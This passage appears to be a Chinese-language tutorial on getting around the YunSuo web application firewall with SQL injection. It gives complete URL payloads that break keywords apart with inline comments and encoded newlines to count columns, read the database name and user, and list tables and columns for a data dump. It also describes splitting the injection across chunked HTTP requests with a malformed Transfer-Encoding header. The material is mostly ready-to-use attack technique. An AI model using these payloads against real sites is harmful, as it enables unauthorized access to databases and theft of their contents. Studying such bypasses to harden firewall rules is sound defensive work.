修改payload
大小写AnD 1=1拦截大小写+内敛 /!ANd/ 1=1 拦截
尝试变换一下and的形式,waf没有继续拦截,应该是使用正则匹配到了关键字
Axnxd不拦截等价替换 &&1 不拦截
看来常用的内敛注释+普通注释无法绕过云锁对关键字的匹配
我们先fuzz一下看看哪些关键字被拦截了,经过测试可以看到,大部分字符单独存在不会被拦截。
例如 order by 被拦截既不是order 触发了waf,也不是by,是它们的组合触发了waf。
姿势一 规则对抗绕过
原理:注释+换行绕过
既然如此,这里我们可以通过
. 使用%23将后面的内容给注释掉
. 使用%0a将后面的内容进行换行,使后面的sql语句逃出注释就能继续执行了
遇到关键函数被拦截,就在其中插入注释与换行。
在数据库中查询情况如下图所示
使用order by判断出存在2列
Payload:test.php?id=1 /*!order*//**/%23A%0A/**/%23A%0A/*!by*//**/2
使用相同方法查询出用户名和数据库
Payload:test.php?id=1 /*!UNIon*//**/%23A%0A/**/%23A%0A/*!select*//**/database(),user/**/()
知道当前数据库名称后,可以利用information_schema数据库获取当前数据库中存在的表。如下图所示
Payload:test.php?id=1%20/*!UNIon*/%23A%0A/*!select*//**/database/**/(),group_concat(table_name)/**/%23A%0A/**/%23A%0A/*!from*//**/%23A%0Ainformation_schema.tables/**/%23A%0A/**/%23A%0Awhere%20table_schema=database/**/()
接下来就是列名与dump数据
test.php?id=1 /*!UNIon*/%23A%0A/*!select*//**/database/**/(),group_concat(column_name)/**/%23A%0A/**/%23A%0A/*!from*//**/%23A%0Ainformation_schema.columns/**/%23A%0A/**/%23A%0Awhere table_name=’users’
姿势二 http协议绕过
既然waf拦截组合,那我们通过分块传输将关键字分块
首先将请求方式变为post并抓包,修改数据包为分段传输格式
注意:这里Transfer-Encoding:的值设为x chunked而不是chunked
构造sql语句判断字段数
分割union select查询出数据库
成功爆出表名
后面继续构造sql语句爆出列名与详细数据